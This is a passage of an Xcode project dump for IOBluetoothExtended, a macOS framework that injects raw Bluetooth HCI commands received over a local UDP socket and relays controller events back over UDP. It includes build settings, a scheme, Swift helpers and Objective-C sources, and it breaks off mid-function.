isa = PBXGroup;
children = (
8C72A82B2333949C001A9806 /* Util */,
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */,
8C31744122D10516004B9604 /* IOBluetoothHostController.h */,
8C72A8322333A100001A9806 /* IOBE.h */,
8C72A82723339457001A9806 /* IOBE.m */,
8C31743A22D104DA004B9604 /* HCIDelegate.h */,
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */,
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */,
8C57A7412333A6D000037C3D /* HCICommunicator.h */,
8C57A7422333A6E100037C3D /* HCICommunicator.m */,
8CE61E5C232AE8D20086419F /* Extensions.swift */,
8C31742422D1049D004B9604 /* Info.plist */,
);
path = IOBluetoothExtended;
sourceTree = "<group>";
};
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */ = {
isa = PBXGroup;
children = (
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */,
8C31743022D1049E004B9604 /* Info.plist */,
);
path = IOBluetoothExtendedTests;
sourceTree = "<group>";
};
8C72A82B2333949C001A9806 /* Util */ = {
isa = PBXGroup;
children = (
);
path = Util;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXHeadersBuildPhase section */
8C31741B22D1049D004B9604 /* Headers */ = {
isa = PBXHeadersBuildPhase;
buildActionMask = 2147483647;
files = (
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */,
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */,
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */,
8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXHeadersBuildPhase section */
/* Begin PBXNativeTarget section */
8C31741F22D1049D004B9604 /* IOBluetoothExtended */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */;
buildPhases = (
8C31741B22D1049D004B9604 /* Headers */,
8C31741C22D1049D004B9604 /* Sources */,
8C31741D22D1049D004B9604 /* Frameworks */,
8C31741E22D1049D004B9604 /* Resources */,
8C5F1E5923605FFF00945944 /* ShellScript */,
);
buildRules = (
);
dependencies = (
);
name = IOBluetoothExtended;
productName = IOBluetoothExtended;
productReference = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */;
productType = "com.apple.product-type.framework";
};
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */;
buildPhases = (
8C31742522D1049E004B9604 /* Sources */,
8C31742622D1049E004B9604 /* Frameworks */,
8C31742722D1049E004B9604 /* Resources */,
);
buildRules = (
);
dependencies = (
8C31742C22D1049E004B9604 /* PBXTargetDependency */,
);
name = IOBluetoothExtendedTests;
productName = IOBluetoothExtendedTests;
productReference = 8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */;
productType = "com.apple.product-type.bundle.unit-test";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
8C31741722D1049D004B9604 /* Project object */ = {
isa = PBXProject;
attributes = {
LastUpgradeCheck = 1100;
ORGANIZATIONNAME = "Davide Toldo";
TargetAttributes = {
8C31741F22D1049D004B9604 = {
CreatedOnToolsVersion = 10.2.1;
LastSwiftMigration = 1030;
};
8C31742822D1049E004B9604 = {
CreatedOnToolsVersion = 10.2.1;
};
};
};
buildConfigurationList = 8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
);
mainGroup = 8C31741622D1049D004B9604;
productRefGroup = 8C31742122D1049D004B9604 /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
8C31741F22D1049D004B9604 /* IOBluetoothExtended */,
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
8C31741E22D1049D004B9604 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742722D1049E004B9604 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
8C5F1E5923605FFF00945944 /* ShellScript */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\ncp -r ${BUILT_PRODUCTS_DIR}/${EXECUTABLE_NAME}.framework ../${EXECUTABLE_NAME}.framework\n";
};
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
8C31741C22D1049D004B9604 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8C72A82823339457001A9806 /* IOBE.m in Sources */,
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */,
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */,
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */,
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
8C31742522D1049E004B9604 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXTargetDependency section */
8C31742C22D1049E004B9604 /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = 8C31741F22D1049D004B9604 /* IOBluetoothExtended */;
targetProxy = 8C31742B22D1049E004B9604 /* PBXContainerItemProxy */;
};
/* End PBXTargetDependency section */
/* Begin XCBuildConfiguration section */
8C31743222D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "Mac Developer";
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 1;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.14;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = macosx;
VERSIONING_SYSTEM = "apple-generic";
VERSION_INFO_PREFIX = "";
};
name = Debug;
};
8C31743322D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
CODE_SIGN_IDENTITY = "Mac Developer";
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 1;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.14;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = macosx;
SWIFT_COMPILATION_MODE = wholemodule;
VERSIONING_SYSTEM = "apple-generic";
VERSION_INFO_PREFIX = "";
};
name = Release;
};
8C31743522D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_IDENTITY = "";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEFINES_MODULE = YES;
DEVELOPMENT_TEAM = 27U966V459;
DYLIB_COMPATIBILITY_VERSION = 1;
DYLIB_CURRENT_VERSION = 1;
DYLIB_INSTALL_NAME_BASE = "@rpath";
FRAMEWORK_VERSION = A;
GCC_NO_COMMON_BLOCKS = NO;
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = "";
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
8C31743622D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_IDENTITY = "";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEFINES_MODULE = YES;
DEVELOPMENT_TEAM = 27U966V459;
DYLIB_COMPATIBILITY_VERSION = 1;
DYLIB_CURRENT_VERSION = 1;
DYLIB_INSTALL_NAME_BASE = "@rpath";
FRAMEWORK_VERSION = A;
GCC_NO_COMMON_BLOCKS = NO;
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = "";
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
SWIFT_VERSION = 5.0;
};
name = Release;
};
8C31743822D1049E004B9604 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_TEAM = M66VH9B6C7;
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/../Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Debug;
};
8C31743922D1049E004B9604 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_TEAM = M66VH9B6C7;
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
"@loader_path/../Frameworks",
);
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743222D1049E004B9604 /* Debug */,
8C31743322D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743522D1049E004B9604 /* Debug */,
8C31743622D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */ = {
isa = XCConfigurationList;
buildConfigurations = (
8C31743822D1049E004B9604 /* Debug */,
8C31743922D1049E004B9604 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 8C31741722D1049D004B9604 /* Project object */;
}
@@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1110"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "8C31741F22D1049D004B9604"
BuildableName = "IOBluetoothExtended.framework"
BlueprintName = "IOBluetoothExtended"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
<TestableReference
skipped = "NO">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "8C31742822D1049E004B9604"
BuildableName = "IOBluetoothExtendedTests.xctest"
BlueprintName = "IOBluetoothExtendedTests"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</TestableReference>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "8C31741F22D1049D004B9604"
BuildableName = "IOBluetoothExtended.framework"
BlueprintName = "IOBluetoothExtended"
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>
@@ -0,0 +1,90 @@
//
// Extensions.swift
// IOBluetoothExtended
//
// Created by Davide Toldo on 12.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
import Foundation
extension Data {
struct HexEncodingOptions: OptionSet {
let rawValue: Int
static let upperCase = HexEncodingOptions(rawValue: 1 << 0)
}
func hexEncodedString(options: HexEncodingOptions = []) -> String {
let format = options.contains(.upperCase) ? "%02hhX" : "%02hhx"
return map { String(format: format, $0) }.joined()
}
}
extension String {
init?(_ num: UInt8?) {
if let n = num { self = String(n) }
else { return nil }
}
func separate(every stride: Int = 4, with separator: Character = " ") -> String {
return String(enumerated().map { $0 > 0 && $0 % stride == 0 ? [separator, $1] : [$1]}.joined())
}
func toAscii() -> String {
let pattern = "(0x)?([0-9a-f]{2})"
let regex = try! NSRegularExpression(pattern: pattern, options: .caseInsensitive)
let nsString = self as NSString
let matches = regex.matches(in: self, options: [], range: NSMakeRange(0, nsString.length))
var characters = matches.map {
Character(UnicodeScalar(UInt32(nsString.substring(with: $0.range(at: 2)), radix: 16)!)!)
}
characters = characters.map {
if !$0.isASCII { return "." }
if $0.asciiValue! < 32 { return "." }
if $0.asciiValue! > 130 { return "." }
if $0.isNewline { return "." }
if $0 == "\0" { return "." }
return $0
}
return String(characters)
}
var hexadecimal: Data? {
var data = Data(capacity: count / 2)
let regex = try! NSRegularExpression(pattern: "[0-9a-f]{1,2}", options: .caseInsensitive)
regex.enumerateMatches(in: self, range: NSRange(startIndex..., in: self)) { match, _, _ in
let byteString = (self as NSString).substring(with: match!.range)
let num = UInt8(byteString, radix: 16)!
data.append(num)
}
guard data.count > 0 else { return nil }
return data
}
subscript (i: Int) -> String {
return self[i ..< i + 1]
}
func substring(fromIndex: Int) -> String {
return self[min(fromIndex, count) ..< count]
}
func substring(toIndex: Int) -> String {
return self[0 ..< max(0, toIndex)]
}
subscript (r: Range<Int>) -> String {
let range = Range(uncheckedBounds: (lower: max(0, min(count, r.lowerBound)), upper: min(count, max(0, r.upperBound))))
let start = index(startIndex, offsetBy: range.lowerBound)
let end = index(start, offsetBy: range.upperBound - range.lowerBound)
return String(self[start ..< end])
}
}
extension Sequence where Element == UInt8 {
var data: Data { .init(self) }
var hexa: String { map { .init(format: "%02x", $0) }.joined() }
}
@@ -0,0 +1,20 @@
//
// HCICommunicator.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#ifndef HCICommunicator_h
#define HCICommunicator_h
@interface HCICommunicator: NSObject
+ (NSArray *) sendArbitraryCommand4:(uint8_t [])arg1 len:(uint8_t)arg2;
@end
#endif /* HCICommunicator_h */
@@ -0,0 +1,56 @@
//
// HCICommunicator.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 19.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "HCICommunicator.h"
#import "IOBluetoothExtended.h"
#import <IOBluetoothHostController.h>
@implementation HCICommunicator
+ (NSArray *)sendArbitraryCommand4:(uint8_t [])arg1 len:(uint8_t)arg2 {
NSData *data = [NSData dataWithBytes:arg1 length:arg2];
uint8_t *command = calloc(arg2, sizeof(uint8_t));
memcpy(command, [data bytes], arg2);
BluetoothHCIRequestID request = 0;
static uint8_t* output[255];
size_t outputSize = sizeof(output);
int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Couldn't create error: %08x\n", error);
}
size_t commandSize = 3;
if (arg2 > 2) {
commandSize += command[2];
}
error = BluetoothHCISendRawCommand(request, command, commandSize);
if (error) {
BluetoothHCIRequestDelete(request);
printf("Send HCI command Error: %08x\n", error);
}
sleep(0x1);
BluetoothHCIRequestDelete(request);
uint8_t *result = calloc(255, sizeof(uint8_t));
memcpy(result, output, 255);
NSMutableArray *nsarr = [[NSMutableArray alloc] init];
for (int i = 0; i < 255; i++) {
[nsarr addObject:[NSNumber numberWithUnsignedChar:result[i]]];
}
return nsarr;
}
@end
@@ -0,0 +1,37 @@
//
// HCIDelegate.h
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <IOBluetooth/IOBluetooth.h>
#ifndef HCIDelegate_h
#define HCIDelegate_h
@interface HCIDelegate: NSObject
@property (nonatomic, assign) NSString *hostname;
@property (nonatomic, assign) NSString *inject;
@property (nonatomic, assign) NSString *snoop;
@property (nonatomic, assign) int32_t sock_fd;
@property (nonatomic, assign) int32_t client_fd;
@property (nonatomic, assign) Boolean exit_requested;
- (id) initWith:(NSString *)inject and:(NSString*)snoop;
+ (void) setHostname:(NSString *)arg1;
+ (void) setInject:(NSString *)arg1;
+ (void) setSnoop:(NSString *)arg1;
- (void) shutdown;
@end
#endif /* HCIDelegate_h */
@@ -0,0 +1,42 @@
//
// Commands.m
// IOBluetoothExtended
//
// Created by Davide Toldo on 06.07.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
#import "HCIDelegate.h"
#import "IOBluetoothExtended/IOBluetoothExtended-Swift.h"
@implementation HCIDelegate
Boolean exit_requested = false;
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
if (self = [super init]) {
self.inject = inject;
self.snoop = snoop;
self.hostname = @"127.0.0.1";
[self initServer];
}
return self;
}
+ (void) setHostname:(NSString *)hostname {
self.hostname = hostname;
}
+ (void) setInject:(NSString *)port {
self.inject = port;
}
+ (void) setSnoop:(NSString *)port {
self.snoop = port;
}
- (void) shutdown {
exit_requested = true;
}
@end
@@ -0,0 +1,190 @@
//
// HCIDelegate.swift
// IOBluetoothExtended
//
// Created by Davide Toldo on 03.09.19.
// Copyright © 2019 Davide Toldo. All rights reserved.
//
import Foundation
import Network
extension HCIDelegate: IOBluetoothHostControllerDelegate {
@objc public func initServer() {
//print("IOBE: Initializing, snoop: \(snoop ?? "-1"), inject: \(inject ?? "-1")")
self.startupServer()
}
public func sendOverUDP(data: Data, _ hostUDP: NWEndpoint.Host, _ portUDP: NWEndpoint.Port) {
var server_addr = sockaddr_in()
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
server_addr.sin_len = UInt8(server_addr_size)
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
server_addr.sin_port = UInt16(portUDP.rawValue).bigEndian // chooses the port
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
if sock_fd == -1 {
perror("Failure: creating socket")
exit(EXIT_FAILURE)
}
var bytes = [UInt8](repeating: 0, count: data.count)
(data as NSData).getBytes(&bytes, length: bytes.count)
let addr = UnsafeRawPointer(&server_addr).assumingMemoryBound(to: sockaddr.self)
sendto(sock_fd, &bytes, data.count, 0, addr, server_addr_size)
}
private func startupServer() {
let i = NWEndpoint.Port(self.inject as String)
// Create socket
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
if sock_fd == -1 {
perror("Failure: creating socket")
exit(EXIT_FAILURE)
}
var sock_opt_on = Int32(1)
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &sock_opt_on, socklen_t(MemoryLayout.size(ofValue: sock_opt_on)))
var server_addr = sockaddr_in()
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
server_addr.sin_len = UInt8(server_addr_size)
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
server_addr.sin_port = UInt16(i!.rawValue).bigEndian // chooses the port
// Bind socket
let bind_server = withUnsafePointer(to: &server_addr) {
Darwin.bind(sock_fd, UnsafeRawPointer($0).assumingMemoryBound(to: sockaddr.self), server_addr_size)
}
if bind_server == -1 {
perror("Failure: binding port")
exit(EXIT_FAILURE)
}
//print("IOBE: Listening on", server_addr.sin_port.bigEndian)
DispatchQueue.global(qos: .background).async {
while !self.exit_requested {
// Prepare for receiving data
var client_addr = sockaddr_storage()
var client_addr_len = socklen_t(MemoryLayout.size(ofValue: client_addr))
var receiveBuffer = [UInt8](repeating: 0, count: 1024)
var bytesRead = 0
// Receive data via syscall
bytesRead = withUnsafeMutablePointer(to: &client_addr) {
$0.withMemoryRebound(to: sockaddr.self, capacity: 1) {
recvfrom(sock_fd, &receiveBuffer, 1024, 0, $0, &client_addr_len)
}
}
if bytesRead == -1 {
perror("Failure: error while reading")
exit(EXIT_FAILURE)
}
// After reading the command, do all further processing on another
// Thread to be able to accept new incoming commands from the socket
DispatchQueue.global(qos: .background).async {
var command = Array([UInt8](receiveBuffer).dropFirst(2))
let length: UInt8 = receiveBuffer[1]
// Send command to Bluetooth HCI Controller
HCICommunicator.sendArbitraryCommand4(&command, len: length)
}
}
print("Exiting...")
close(self.sock_fd)
close(self.client_fd)
}
}
@objc(BluetoothHCIEventNotificationMessage:inNotificationMessage:)
public func bluetoothHCIEventNotificationMessage(_ controller: IOBluetoothHostController,
in message: UnsafeMutablePointer<IOBluetoothHCIEventNotificationMessage>) {
let opcode = message.pointee.dataInfo.opcode
let data = IOBluetoothHCIEventParameterData(message)
if opcode == 0 { return }
let dataInfo = message.pointee.dataInfo
let opcod1 = String(format:"%02X", dataInfo.opcode)
let opcod2 = Array(repeating: "0", count: 4-opcod1.count) + Array(opcod1)
if opcod2.count < 4 { return }
let opcod3 = "\(opcod2[2])\(opcod2[3])\(opcod2[0])\(opcod2[1])"
var result = "04"
result.append(String(format:"%02X", dataInfo._field7))
result.append("\(String(format:"%02X", dataInfo.parameterSize+3))")
result.append("01\(opcod3)")
result.append(data.hexEncodedString())
// printFormatted(result)
if result.count < 8 { return }
let h = NWEndpoint.Host(self.hostname as String)
let s = NWEndpoint.Port(self.snoop as String)
// Version Information
if opcode == 0x1001 {
var temp = ""
for i in [0,1,2,3,4,5,9,8,14,15,12,6,7,10,11] {
temp.append(result[i*2])
temp.append(result[i*2+1])
}
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
// Connection Complete
else if opcode == 0x0405 || opcode == 0x0409 {
let orig = data.hexEncodedString()
var temp = "0403"
for i in [8,9,0,1,7,6,5,4,3,2] {
temp.append(orig[i*2])
temp.append(orig[i*2+1])
}
if temp.count != 24 { return }
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
}
// Disconnection Complete
else if opcode == 0x0406 {
let orig = data.hexEncodedString()
if orig.count == 0 { return }
var temp = "040504"
for i in [2,1,0] {
temp.append(orig[i*2])
